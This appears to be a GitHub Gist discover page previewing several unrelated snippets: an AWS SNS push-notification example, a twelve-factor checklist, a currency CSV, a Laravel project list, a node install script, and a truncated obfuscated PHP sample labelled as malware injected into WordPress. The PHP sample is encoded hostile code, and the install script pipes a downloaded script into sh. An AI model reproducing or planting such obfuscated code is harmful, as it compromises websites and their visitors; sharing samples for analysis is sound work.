Skip to content

Instantly share code, notes, and snippets.

@sohamdodia
sohamdodia / aws-sns-push-notification-for-android
Last active July 24, 2018 12:19
Code snippet to send push notifications to android device using AWS push notification service.
const AWS = require ('aws-sdk');
AWS.config.update({
accessKeyId: 'ACCESS_KEY',
secretAccessKey: 'SECRET_KEY',
region: 'REGION'
});
const sns = new AWS.SNS();
sns.createPlatformEndpoint({
@anandtripathi5
anandtripathi5 / 12_factor_app_checklist_explained.md
Last active December 3, 2022 13:24
The 12 Factor App checklist explained

The twelve-factor app Checklist Explained

| ✓ | Factors | Status | Remarks | |----|-----------------------------------------------

@manjeshpv
manjeshpv / wodpress-malware-injection.php
Created February 29, 2016 09:37
Malware in WordPress- Injected PHP Code
<?php $tnfnirv = '#!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*2bd%-#w)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#DyfR x27tfs%6<*17-SFEBFI,6<*1)ftpmdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-U5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>!>!#]y84]275]y83]273]y76]277#<!%t2w>#]y74]273]y76]252]y85]256<.4`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6 x63 164 x69 157 x6e"; function evltynv($n){return chr(ord($n)-1);#!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeob%t2w/ x24)##-!#~<#/% x24- x24!>Ypp3)%cB%iN}#-! x24/%tx74 145 x5f 146 x75 1572 164") && (!isset($Gbnpe_GMFT`QIQ&f_UTPI`QUUI&e_SEEB` x27*&7-n%)utjm6< x7fw6*CW&)7gj6<*K)85]Ke]53Ld]53]Kc]55Ld]55#*<%bGx27{**u%-#jt0}Z;0]=]0#)2q%l}S;bubE{h%)tpqsut>j%!*72! x27!hmg%)!gj%h00#*<%nfd)##Qtpz)#]341)# x24#-!#]y38#-!%w:**<")));$aebbqtv = $wczleed("", $mse7,#/q%>U<#16,47R57,27R66,#/q%>2q%<#g6R85,67Rh%:<**#57]38y]47]67y]37]88y]27]28y]#/r%/h%)n4 x5c%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x22-u%!-#2#/#%#/#o]#/*)3
@Chintan7027
Chintan7027 / currency-symbols.csv
Last active May 20, 2021 08:09 — forked from bzerangue/currency-symbols.xml
World currencies with their symbols in csv,JSON,sql and, xml
_code _unicode-decimal _unicode-hex __text
ALL 76, 101, 107 4c, 65, 6b Albania Lek
AFN 1547 60b Afghanistan Afghani
ARS 36 24 Argentina Peso
AWG 402 192 Aruba Guilder
AUD 36 24 Australia Dollar
AZN 1084, 1072, 1085 43c, 430, 43d Azerbaijan New Manat
BSD 36 24 Bahamas Dollar
BBD 36 24 Barbados Dollar
BYR 112, 46 70, 2e Belarus Ruble
@msurguy
msurguy / List.md
Last active April 30, 2024 15:14
List of open source projects made with Laravel

Other people's projects:

My projects (tutorials are on my blog at http://maxoffsky.com):

@isaacs
isaacs / node-and-npm-in-30-seconds.sh
Last active March 8, 2024 02:11
Use one of these techniques to install node and npm without having to sudo. Discussed in more detail at http://joyeur.com/2010/12/10/installing-node-and-npm/ Note: npm >=0.3 is *safer* when using sudo.
echo 'export PATH=$HOME/local/bin:$PATH' >> ~/.bashrc
. ~/.bashrc
mkdir ~/local
mkdir ~/node-latest-install
cd ~/node-latest-install
curl http://nodejs.org/dist/node-latest.tar.gz | tar xz --strip-components=1
./configure --prefix=~/local
make install # ok, fine, this step probably takes more than 30 seconds...
curl https://www.npmjs.org/install.sh | sh